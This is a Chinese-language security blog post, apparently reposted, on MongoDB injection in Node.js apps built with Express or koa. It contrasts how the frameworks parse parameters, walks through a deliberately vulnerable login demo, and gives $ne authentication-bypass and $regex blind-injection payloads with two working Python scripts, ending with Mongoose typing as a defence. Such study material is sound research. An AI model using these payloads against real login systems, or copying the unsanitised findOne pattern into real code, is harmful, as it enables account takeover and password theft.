Mongodb Injection in Node.js Web Framework
The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和
The difference between Express and koa
Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。
GET
在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:
<code>test[1]=a&test[2]=b </code>
Expres 的 req.query
会把 test 处理成 Object:
<code>{ test: [ 'a', 'b' ] } </code>
koa 的 this.request.query
却不会:
<code>{ 'test[1]': 'a', 'test[2]': 'b' } </code>
在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。
POST
在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded
时,Express和 koa 的行为也是不相同的,对于:
<code>test[a]=123&test[b]=456 </code>
Express 的 req.body
解析后的结果为:
<code>{ 'test[a]': '123', 'test[b]': '456' } </code>
koa co-body
处理后解析后的结果为:
<code>{ test: { a: '123', b: '456' } } </code>
当 Content-Type 为 multipart/form-data
时,对于:
<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[a]" 123 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp Content-Disposition: form-data; name="test[b]" 456 ------WebKitFormBoundaryxUTB0WY8QmAfDBIp-- </code>
Express 利用 multiparty 解析的结果为:
<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] } </code>
koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json
时,Express 和 koa 在结果上时相同的,对于:
<code>{"test1": 1, "test2": {"test": "hello"}} </code>
解析结果都为:
<code>{ test1: 1, test2: { test: 'hello' } } </code>
另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。
Mongodb Injection in Express
这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。
对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。
我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin
Bypass Login Directly in Express
/controllers/user.js
<code>LoginHandler.login = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'Login Fail'}); return; }; response.status(200).json({user: 'Hello ' + user.username}); }); }; </code>
此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js
<code>User.prototype.login = function (callback) { var _user = { username: this.username, password: this.password }; db.open(function (err, db) { if (err) return callback(err); db.collection('users', function (err, collection) { if (err) { db.close(); return callback(err); }; collection.findOne(_user, function (err, user) { // Injection // do stuff }); }); }); } </code>
由于此处我们提交的数据为:
<code>{"username": "test", "password": {"$ne": 1} </code>
Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。
Login Blind Injection in Express
/controller/user.js
<code>LoginHandler.login2 = function (request, response) { var user = new User({ username: request.body.username, password: request.body.password }); user.login(function (err, user) { if (err) { response.status(500).json({message: err.toString()}) return; }; if (!user) { response.status(401).json({message: 'User not exist'}); return; }; if (user.password === request.body.password) { response.status(200).json({user: 'Hello ' + user.username}); } else { response.status(401).json({message: 'Password is not correct'}); }; }); }; </code>
此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:
<code>{"username": "test", "password": {"$regex": "^1"}} </code>
如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:
<code>{"username": "test", "password": {"$regex": "^11"}} </code>
重复上述步骤直至猜解结束。
Exploit
0x01
Code:
<code>import urllib2 request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"}) print urllib2.urlopen(request).read() </code>
Result:
0x02
Code:
<code>import sys import urllib2 def req(url, data): try: request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'}) return urllib2.urlopen(request).read() except urllib2.HTTPError, e: return e.read() url = 'http://localhost:3000/login2' FLAG_USER_NOT_EXIST = 'User not exist' FLAG_PASSWORD_INCORRECT = 'Password is not correct' chars = '9876503412' payload = '{"username": "ricter","password": {"$regex": "^%s"}}' password = '' while 1: for i in chars: resp = req(url, payload % (password + i)) if FLAG_PASSWORD_INCORRECT in resp: password += i print password break elif FLAG_USER_NOT_EXIST in resp: pass if i == chars[-1]: print password sys.exit(0) </code>
Result:
Express with Mongoose
常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。
使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:
<code>var _User = new db.Schema({ username: String, password: String, apikey: String }); </code>
这样的话,我们传入:
<code>{"username": "ricter","password": {"$ne": 1}} </code>
实际上查询的时候会被转变成:
<code>{ username: 'ricter', password: undefined } </code>
所以不会造成 Mongodb Injection。
At the end
Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/
原文地址:Mongodb Injection in Node.js Web Framework, 感谢原作者分享。

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

要使用 Navicat 连接 MongoDB,您需要:安装 Navicat创建 MongoDB 连接:a. 输入连接名称、主机地址和端口b. 输入认证信息(如果需要)添加 SSL 证书(如果需要)验证连接保存连接

Go和Node.js在类型化(强/弱)、并发(goroutine/事件循环)、垃圾收集(自动/手动)上存在差异。Go具备高吞吐量、低延迟,适用于高负载后端;Node.js擅长异步I/O,适合高并发、短请求。两者的实战案例包括Kubernetes(Go)、数据库连接(Node.js)、Web应用程序(Go/Node.js)。最终选择取决于应用程序需求、团队技能和个人偏好。

.NET 4.0 用于创建各种应用程序,它为应用程序开发人员提供了丰富的功能,包括:面向对象编程、灵活性、强大的架构、云计算集成、性能优化、广泛的库、安全性、可扩展性、数据访问和移动开发支持。

在无服务器架构中,Java函数可以与数据库集成,以访问和操作数据库中的数据。关键步骤包括:创建Java函数、配置环境变量、部署函数和测试函数。通过遵循这些步骤,开发人员可以构建复杂的应用程序,无缝访问存储在数据库中的数据。

本文介绍如何在Debian系统上配置MongoDB实现自动扩容,主要步骤包括MongoDB副本集的设置和磁盘空间监控。一、MongoDB安装首先,确保已在Debian系统上安装MongoDB。使用以下命令安装:sudoaptupdatesudoaptinstall-ymongodb-org二、配置MongoDB副本集MongoDB副本集确保高可用性和数据冗余,是实现自动扩容的基础。启动MongoDB服务:sudosystemctlstartmongodsudosys

本文介绍如何在Debian系统上构建高可用性的MongoDB数据库。我们将探讨多种方法,确保数据安全和服务持续运行。关键策略:副本集(ReplicaSet):利用副本集实现数据冗余和自动故障转移。当主节点出现故障时,副本集会自动选举新的主节点,保证服务的持续可用性。数据备份与恢复:定期使用mongodump命令进行数据库备份,并制定有效的恢复策略,以应对数据丢失风险。监控与报警:部署监控工具(如Prometheus、Grafana)实时监控MongoDB的运行状态,并

PiNetwork即将推出革命性移动银行平台PiBank!PiNetwork今日发布重大更新Elmahrosa(Face)PIMISRBank,简称PiBank,它将传统银行服务与PiNetwork加密货币功能完美融合,实现法币与加密货币的原子交换(支持美元、欧元、印尼盾等法币与PiCoin、USDT、USDC等加密货币的互换)。究竟PiBank有何魅力?让我们一探究竟!PiBank主要功能:一站式管理银行账户和加密货币资产。支持实时交易,并采用生物特

直接通过 Navicat 查看 MongoDB 密码是不可能的,因为它以哈希值形式存储。取回丢失密码的方法:1. 重置密码;2. 检查配置文件(可能包含哈希值);3. 检查代码(可能硬编码密码)。
